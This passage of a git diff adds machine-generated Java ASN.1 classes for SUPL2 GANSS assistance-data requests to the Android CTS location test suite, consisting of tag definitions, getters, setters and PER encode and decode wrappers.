+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssSBASidType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_ganssSBASidType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssSBASidType() {
+ super();
+ setMinSize(3);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssSBASidType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssSBASidType != null) {
+ return ImmutableList.of(TAG_ganssSBASidType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssSBASidType from encoded stream.
+ */
+ public static ganssSBASidType fromPerUnaligned(byte[] encodedBytes) {
+ ganssSBASidType result = new ganssSBASidType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssSBASidType from encoded stream.
+ */
+ public static ganssSBASidType fromPerAligned(byte[] encodedBytes) {
+ ganssSBASidType result = new ganssSBASidType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssSBASidType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssRealTimeIntegrityType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssRealTimeIntegrityType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssRealTimeIntegrityType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssRealTimeIntegrityType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssRealTimeIntegrityType != null) {
+ return ImmutableList.of(TAG_ganssRealTimeIntegrityType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssRealTimeIntegrityType from encoded stream.
+ */
+ public static ganssRealTimeIntegrityType fromPerUnaligned(byte[] encodedBytes) {
+ ganssRealTimeIntegrityType result = new ganssRealTimeIntegrityType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssRealTimeIntegrityType from encoded stream.
+ */
+ public static ganssRealTimeIntegrityType fromPerAligned(byte[] encodedBytes) {
+ ganssRealTimeIntegrityType result = new ganssRealTimeIntegrityType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssRealTimeIntegrityType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssAlmanacType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssAlmanacType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssAlmanacType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssAlmanacType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssAlmanacType != null) {
+ return ImmutableList.of(TAG_ganssAlmanacType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssAlmanacType from encoded stream.
+ */
+ public static ganssAlmanacType fromPerUnaligned(byte[] encodedBytes) {
+ ganssAlmanacType result = new ganssAlmanacType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssAlmanacType from encoded stream.
+ */
+ public static ganssAlmanacType fromPerAligned(byte[] encodedBytes) {
+ ganssAlmanacType result = new ganssAlmanacType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssAlmanacType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTimeModelsType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_ganssTimeModelsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTimeModelsType() {
+ super();
+ setMinSize(16);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTimeModelsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTimeModelsType != null) {
+ return ImmutableList.of(TAG_ganssTimeModelsType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTimeModelsType from encoded stream.
+ */
+ public static ganssTimeModelsType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTimeModelsType result = new ganssTimeModelsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTimeModelsType from encoded stream.
+ */
+ public static ganssTimeModelsType fromPerAligned(byte[] encodedBytes) {
+ ganssTimeModelsType result = new ganssTimeModelsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTimeModelsType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssReferenceMeasurementInfoType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssReferenceMeasurementInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssReferenceMeasurementInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssReferenceMeasurementInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssReferenceMeasurementInfoType != null) {
+ return ImmutableList.of(TAG_ganssReferenceMeasurementInfoType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssReferenceMeasurementInfoType from encoded stream.
+ */
+ public static ganssReferenceMeasurementInfoType fromPerUnaligned(byte[] encodedBytes) {
+ ganssReferenceMeasurementInfoType result = new ganssReferenceMeasurementInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssReferenceMeasurementInfoType from encoded stream.
+ */
+ public static ganssReferenceMeasurementInfoType fromPerAligned(byte[] encodedBytes) {
+ ganssReferenceMeasurementInfoType result = new ganssReferenceMeasurementInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssReferenceMeasurementInfoType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUTCModelType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssUTCModelType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUTCModelType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUTCModelType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUTCModelType != null) {
+ return ImmutableList.of(TAG_ganssUTCModelType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUTCModelType from encoded stream.
+ */
+ public static ganssUTCModelType fromPerUnaligned(byte[] encodedBytes) {
+ ganssUTCModelType result = new ganssUTCModelType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUTCModelType from encoded stream.
+ */
+ public static ganssUTCModelType fromPerAligned(byte[] encodedBytes) {
+ ganssUTCModelType result = new ganssUTCModelType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUTCModelType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssAuxiliaryInformationType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssAuxiliaryInformationType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssAuxiliaryInformationType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssAuxiliaryInformationType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssAuxiliaryInformationType != null) {
+ return ImmutableList.of(TAG_ganssAuxiliaryInformationType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssAuxiliaryInformationType from encoded stream.
+ */
+ public static ganssAuxiliaryInformationType fromPerUnaligned(byte[] encodedBytes) {
+ ganssAuxiliaryInformationType result = new ganssAuxiliaryInformationType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssAuxiliaryInformationType from encoded stream.
+ */
+ public static ganssAuxiliaryInformationType fromPerAligned(byte[] encodedBytes) {
+ ganssAuxiliaryInformationType result = new ganssAuxiliaryInformationType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssAuxiliaryInformationType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssReqGenericData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
new file mode 100755
index 0000000..263c973
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
@@ -0,0 +1,860 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GanssRequestedCommonAssistanceDataList extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GanssRequestedCommonAssistanceDataList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssRequestedCommonAssistanceDataList() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssRequestedCommonAssistanceDataList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssRequestedCommonAssistanceDataList != null) {
+ return ImmutableList.of(TAG_GanssRequestedCommonAssistanceDataList);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssRequestedCommonAssistanceDataList from encoded stream.
+ */
+ public static GanssRequestedCommonAssistanceDataList fromPerUnaligned(byte[] encodedBytes) {
+ GanssRequestedCommonAssistanceDataList result = new GanssRequestedCommonAssistanceDataList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssRequestedCommonAssistanceDataList from encoded stream.
+ */
+ public static GanssRequestedCommonAssistanceDataList fromPerAligned(byte[] encodedBytes) {
+ GanssRequestedCommonAssistanceDataList result = new GanssRequestedCommonAssistanceDataList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GanssRequestedCommonAssistanceDataList.ganssReferenceTimeType ganssReferenceTime_;
+ public GanssRequestedCommonAssistanceDataList.ganssReferenceTimeType getGanssReferenceTime() {
+ return ganssReferenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssRequestedCommonAssistanceDataList.ganssReferenceTimeType
+ */
+ public void setGanssReferenceTime(Asn1Object value) {
+ this.ganssReferenceTime_ = (GanssRequestedCommonAssistanceDataList.ganssReferenceTimeType) value;
+ }
+ public GanssRequestedCommonAssistanceDataList.ganssReferenceTimeType setGanssReferenceTimeToNewInstance() {
+ ganssReferenceTime_ = new GanssRequestedCommonAssistanceDataList.ganssReferenceTimeType();
+ return ganssReferenceTime_;
+ }
+
+ private GanssRequestedCommonAssistanceDataList.ganssIonosphericModelType ganssIonosphericModel_;
+ public GanssRequestedCommonAssistanceDataList.ganssIonosphericModelType getGanssIonosphericModel() {
+ return ganssIonosphericModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssRequestedCommonAssistanceDataList.ganssIonosphericModelType
+ */
+ public void setGanssIonosphericModel(Asn1Object value) {
+ this.ganssIonosphericModel_ = (GanssRequestedCommonAssistanceDataList.ganssIonosphericModelType) value;
+ }
+ public GanssRequestedCommonAssistanceDataList.ganssIonosphericModelType setGanssIonosphericModelToNewInstance() {
+ ganssIonosphericModel_ = new GanssRequestedCommonAssistanceDataList.ganssIonosphericModelType();
+ return ganssIonosphericModel_;
+ }
+
+ private GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID00Type ganssAdditionalIonosphericModelForDataID00_;
+ public GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID00Type getGanssAdditionalIonosphericModelForDataID00() {
+ return ganssAdditionalIonosphericModelForDataID00_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID00Type
+ */
+ public void setGanssAdditionalIonosphericModelForDataID00(Asn1Object value) {
+ this.ganssAdditionalIonosphericModelForDataID00_ = (GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID00Type) value;
+ }
+ public GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID00Type setGanssAdditionalIonosphericModelForDataID00ToNewInstance() {
+ ganssAdditionalIonosphericModelForDataID00_ = new GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID00Type();
+ return ganssAdditionalIonosphericModelForDataID00_;
+ }
+
+ private GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID11Type ganssAdditionalIonosphericModelForDataID11_;
+ public GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID11Type getGanssAdditionalIonosphericModelForDataID11() {
+ return ganssAdditionalIonosphericModelForDataID11_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID11Type
+ */
+ public void setGanssAdditionalIonosphericModelForDataID11(Asn1Object value) {
+ this.ganssAdditionalIonosphericModelForDataID11_ = (GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID11Type) value;
+ }
+ public GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID11Type setGanssAdditionalIonosphericModelForDataID11ToNewInstance() {
+ ganssAdditionalIonosphericModelForDataID11_ = new GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID11Type();
+ return ganssAdditionalIonosphericModelForDataID11_;
+ }
+
+ private GanssRequestedCommonAssistanceDataList.ganssEarthOrientationParametersType ganssEarthOrientationParameters_;
+ public GanssRequestedCommonAssistanceDataList.ganssEarthOrientationParametersType getGanssEarthOrientationParameters() {
+ return ganssEarthOrientationParameters_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssRequestedCommonAssistanceDataList.ganssEarthOrientationParametersType
+ */
+ public void setGanssEarthOrientationParameters(Asn1Object value) {
+ this.ganssEarthOrientationParameters_ = (GanssRequestedCommonAssistanceDataList.ganssEarthOrientationParametersType) value;
+ }
+ public GanssRequestedCommonAssistanceDataList.ganssEarthOrientationParametersType setGanssEarthOrientationParametersToNewInstance() {
+ ganssEarthOrientationParameters_ = new GanssRequestedCommonAssistanceDataList.ganssEarthOrientationParametersType();
+ return ganssEarthOrientationParameters_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssRequestedCommonAssistanceDataList.ganssReferenceTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssReferenceTime : "
+ + getGanssReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssIonosphericModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssIonosphericModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIonosphericModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssRequestedCommonAssistanceDataList.ganssIonosphericModelType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssIonosphericModel : "
+ + getGanssIonosphericModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAdditionalIonosphericModelForDataID00() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAdditionalIonosphericModelForDataID00();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAdditionalIonosphericModelForDataID00ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID00Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAdditionalIonosphericModelForDataID00 : "
+ + getGanssAdditionalIonosphericModelForDataID00().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAdditionalIonosphericModelForDataID11() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAdditionalIonosphericModelForDataID11();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAdditionalIonosphericModelForDataID11ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssRequestedCommonAssistanceDataList.ganssAdditionalIonosphericModelForDataID11Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAdditionalIonosphericModelForDataID11 : "
+ + getGanssAdditionalIonosphericModelForDataID11().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssEarthOrientationParameters() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssEarthOrientationParameters();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssEarthOrientationParametersToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssRequestedCommonAssistanceDataList.ganssEarthOrientationParametersType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEarthOrientationParameters : "
+ + getGanssEarthOrientationParameters().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssReferenceTimeType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssReferenceTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssReferenceTimeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssReferenceTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssReferenceTimeType != null) {
+ return ImmutableList.of(TAG_ganssReferenceTimeType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssReferenceTimeType from encoded stream.
+ */
+ public static ganssReferenceTimeType fromPerUnaligned(byte[] encodedBytes) {
+ ganssReferenceTimeType result = new ganssReferenceTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssReferenceTimeType from encoded stream.
+ */
+ public static ganssReferenceTimeType fromPerAligned(byte[] encodedBytes) {
+ ganssReferenceTimeType result = new ganssReferenceTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
